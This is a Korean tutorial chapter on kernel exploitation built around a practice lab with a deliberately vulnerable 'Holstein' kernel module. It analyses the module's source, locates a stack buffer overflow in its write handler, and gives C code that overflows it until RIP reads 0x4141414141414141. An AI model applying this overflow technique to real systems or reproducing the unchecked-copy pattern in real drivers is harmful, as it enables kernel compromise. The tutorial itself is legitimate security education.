LK01(Holstein) 장에서는 Kernel Exploit의 기초적인 공격 기법에 대해 배웁니다. 도입 장에서 LK01을 다운로드하지 않은 분은, 먼저 연습문제 LK01 파일을 다운로드해 주세요.

qemu/rootfs.cpio가 파일 시스템이 됩니다. 여기서는 mount 디렉터리를 만들고, 그곳에 cpio를 전개해 둡니다. (root 권한으로 생성해 주세요.)

초기화 처리 확인

먼저 /init이라는 파일이 있는데, 이것은 커널 로드 후 가장 먼저 사용자 공간에서 실행되는 처리 과정이 됩니다. CTF 등에서는 여기에 커널 모듈 로드 등의 처리가 적혀 있는 경우도 있으므로, 반드시 확인합시다.
이번에는 /init이 buildroot 표준이며, 모듈 로드 등의 처리는 /etc/init.d/S99pawnyable에 기재되어 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh

##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict

##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh

##
## Cleanup
##
umount /proc
poweroff -d 0 -f

여기서 중요해지는 행이 몇 가지 있습니다. 먼저

1
echo 2 > /proc/sys/kernel/kptr_restrict

인데, 이것은 이미 배운 대로 KADR을 제어하는 명령으로, KADR이 활성화되어 있음을 알 수 있습니다. 이것은 디버깅에 방해가 되므로 비활성화해 둡시다.
다음으로 주석 처리되어 있는

1
#echo 1 > /proc/sys/kernel/dmesg_restrict

인데, 이것은 CTF 문제에서는 많은 경우 활성화되어 있습니다. 의미는 일반 사용자에게 dmesg를 허용할지 여부입니다. 이번에는 연습이므로 dmesg를 허용하고 있습니다.

다음으로

1
2
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

에서 커널 모듈을 로드하고 있습니다.
insmod 명령으로 /root/vuln.ko라는 모듈을 로드하고, 그 후 mknod/dev/holstein이라는 캐릭터 디바이스 파일에 holstein이라는 이름의 모듈을 연결하고 있습니다.

마지막으로

1
setsid cttyhack setuidgid 1337 sh

인데, 이것은 사용자 ID를 1337로 하여 sh를 실행하고 있습니다. 로그인 프롬프트 없이 쉘이 시작되는 것은 이 명령 덕분입니다.

디버깅할 때는 이 사용자 ID를 0으로 해두면 root 쉘을 얻을 수 있으므로, 아직 예제를 마치지 않은 분은 변경해 두세요.

또한, /etc/init.d에는 그 외에도 S01syslogdS41dhcpcd 등의 초기화 스크립트가 있습니다. 이것들은 네트워크 설정 등을 하지만, 이번 exploit에서는 디버깅 시 필요 없으므로 다른 디렉터리로 이동하는 등 호출되지 않도록 하는 것을 권장합니다. 이렇게 하면 부팅 시간이 몇 초 빨라집니다.
디렉터리에는 rcK, rcS, S99pawnyable이 남는 상태가 되면 OK입니다.

Holstein 모듈 분석

이 장에서는 Holstein이라고 명명된 취약한 커널 모듈을 소재로 Kernel Exploit을 배웁니다. src/vuln.c에 커널 모듈의 소스 코드가 있으므로, 먼저 이것을 읽어 봅시다.

초기화와 종료

커널 모듈을 작성할 때는 반드시 초기화와 종료 처리를 작성합니다.
108행에서

1
2
module_init(module_initialize);
module_exit(module_cleanup);

라고 기술되어 있는데, 여기서 각각 초기화, 종료 처리 함수를 지정하고 있습니다. 먼저 초기화인 module_initialize를 읽어 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}

cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;

if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}

return 0;
}

사용자 공간에서 커널 모듈을 조작할 수 있도록 하기 위해서는 인터페이스를 생성해야 합니다. 인터페이스는 /dev/proc에 만들어지는 경우가 많으며, 이번에는 cdev_add를 사용하고 있으므로 캐릭터 디바이스 /dev를 통해 조작하는 타입의 모듈이 됩니다. 그렇다고 해도 이 시점에서 /dev 아래에 파일이 만들어지는 것은 아닙니다. 아까 S99pawnyable에서 본 것처럼, /dev/holsteinmknod 명령으로 만들어졌습니다.

그럼, cdev_init라는 함수의 두 번째 인수에 module_fops라는 변수의 포인터를 전달하고 있습니다. 이 변수는 함수 테이블로, /dev/holstein에 대해 open이나 write 등의 조작이 있었을 때, 대응하는 함수가 호출되도록 되어 있습니다.

1
2
3
4
5
6
7
8
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};

이 모듈에서는 open, read, write, close 4가지에 대한 처리만 정의하고 있으며, 그 외에는 미구현(호출해도 아무 일도 일어나지 않음) 상태입니다.

마지막으로, 모듈의 해제 처리는 단순히 캐릭터 디바이스를 삭제하는 것뿐입니다.

1
2
3
4
5
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}

open

module_open을 살펴봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");

g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

return 0;
}

printk라는 낯선 함수가 있는데, 이것은 문자열을 커널 로그 버퍼에 출력합니다. KERN_INFO라는 것은 로그 레벨로, 그 외에도 KERN_WARN 등이 있습니다. 출력은 dmesg 명령으로 확인할 수 있습니다.

다음으로 kmalloc이라는 함수를 호출하고 있습니다.
이것은 커널 공간에서의 malloc으로, 힙에서 지정한 크기의 영역을 확보할 수 있습니다. 이번에는 char*형 전역 변수 g_bufBUFFER_SIZE(=0x400) 바이트의 영역을 확보하고 있습니다.

이 모듈을 open하면 0x400 바이트의 영역을 g_buf에 확보한다는 것을 알았습니다.

close

다음으로 module_close를 봅시다.

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

kfreekmalloc과 대응하며, kmalloc으로 확보한 힙 영역을 해제합니다.
한번 사용자에 의해 open된 모듈은 최종적으로는 반드시 close되므로, 처음에 확보한 g_buf를 해제한다는 것은 자연스러운 처리입니다. (사용자 공간 프로그램이 명시적으로 close를 호출하지 않아도, 그 프로그램이 종료될 때 커널이 자동으로 close를 호출합니다.)

사실 이 단계에서 이미 LPE로 이어지는 취약점이 있지만, 그것은 나중 장에서 다룹니다.

read

module_read는 사용자가 read 시스템 콜 등을 호출했을 때 불리는 처리입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_read called\n");

memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

g_buf에서 BUFFER_SIZE만큼 kbuf라는 스택 변수에 memcpy로 복사하고 있습니다.
다음으로, _copy_to_user라는 함수를 호출하고 있습니다. SMAP 절에서 이미 설명했지만, 이것은 사용자 공간에 안전하게 데이터를 복사하는 함수입니다. copy_to_user가 아니라 _copy_to_user로 되어 있는데, 이것은 스택 오버플로우를 감지하지 않는 버전의 copy_to_user가 됩니다. 보통은 사용되지 않지만, 이번에는 취약점을 넣기 위해 사용하고 있습니다.

늑대군

copy_to_usercopy_from_user는 인라인 함수로 정의되어 있어서, 가능한 경우 크기 검사를 하도록 되어 있어.

정리하면, read 함수는 g_buf에서 일단 스택으로 데이터를 복사하고, 그 데이터를 요청한 크기만큼 읽어들이는 처리가 됩니다.

write

마지막으로 module_write를 읽어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

먼저 _copy_from_user로 사용자 공간에서 데이터를 kbuf라는 스택 변수로 복사하고 있습니다. (이것도 스택 오버플로우를 감지하지 않는 버전의 copy_from_user입니다.) 마지막으로 memcpyg_buf에 최대 BUFFER_SIZE만큼 kbuf에서 데이터를 복사하고 있습니다.

스택 오버플로우 취약점

자, 커널 모듈을 대강 다 읽었는데, 몇 개의 취약점을 발견했나요?
Kernel Exploit에 도전하는 분이라면 적어도 하나는 취약점을 찾았을 것입니다. 이 절에서는 다음 위치에 있는 스택 오버플로우 취약점을 다룹니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

9행에서 복사할 크기 count는 사용자로부터 전달받는 반면, kbuf는 0x400 바이트이므로 명백한 스택 버퍼 오버플로우가 있습니다. 커널 공간에서도 함수 호출의 구조는 사용자 공간과 같으므로, 리턴 주소를 덮어쓰거나 ROP chain을 실행하거나 할 수 있습니다.

취약점 발현

취약점을 악용하기 전에, 이 커널 모듈을 평범하게 사용하는 프로그램을 작성하여 동작하는지 확인해 봅시다. 이번에는 다음과 같은 프로그램을 작성해 보았습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x100] = {};
write(fd, "Hello, World!", 13);
read(fd, buf, 0x100);

printf("Data: %s\n", buf);

close(fd);
return 0;
}

write로 "Hello, World!"라고 쓰고, 그것을 read로 읽기만 하는 프로그램입니다.
이것을 커널 상에서 실행해 봅시다.

모듈의 통상 이용

기대대로 작동하는 것을 알 수 있습니다. 또한, 커널 모듈이 출력한 로그를 확인해도 특별히 오류는 발생하지 않았습니다.

다음으로 스택 오버플로우를 발생시켜 봅니다. 이런 느낌이면 되겠지요.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x800];
memset(buf, 'A', 0x800);
write(fd, buf, 0x800);

close(fd);
return 0;
}

실행합니다.

Stack Overflow 발생

뭔가 불길한 메시지가 출력되었습니다.
이처럼 커널 모듈이 비정상적인 처리를 일으키면 보통 커널째로 뻗어 버립니다. 그 때 크래시된 원인과, 크래시 시의 레지스터 상태나 스택 트레이스가 출력됩니다. 이 정보는 Kernel Exploit 디버깅에서 매우 중요합니다.

이번 크래시의 원인은

1
2
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP PTI

라고 되어 있습니다. ptrval이라는 것은 포인터이지만, KADR에 의해 숨겨져 있습니다.
레지스터 상태에서 신경 쓰이는 것은 RIP인데, 아쉽게도 0x414141414141414141로는 되어 있지 않습니다.

1
RIP: 0010:memset_orig+0x33/0xb0

크래시의 원인에도 적혀 있는 것처럼, copy_from_user로 쓸 때 스택의 끝(guard page)에 도달해 버린 것 같습니다. 너무 많이 쓴 것이 원인이므로, 쓰는 양을 줄여 봅시다.

1
write(fd, buf, 0x420);

그러면 크래시 메시지가 바뀝니다.

Stack Overflow를 이용한 RIP 제어

이번에는 general protection fault가 되고, RIP를 탈취했습니다!

1
RIP: 0010:0x4141414141414141

이처럼, 커널 공간에서도 사용자 공간과 마찬가지로 스택 오버플로우로 RIP를 탈취할 수 있습니다. 다음 절에서는 여기서부터 권한을 상승시키는 방법에 대해 배웁니다.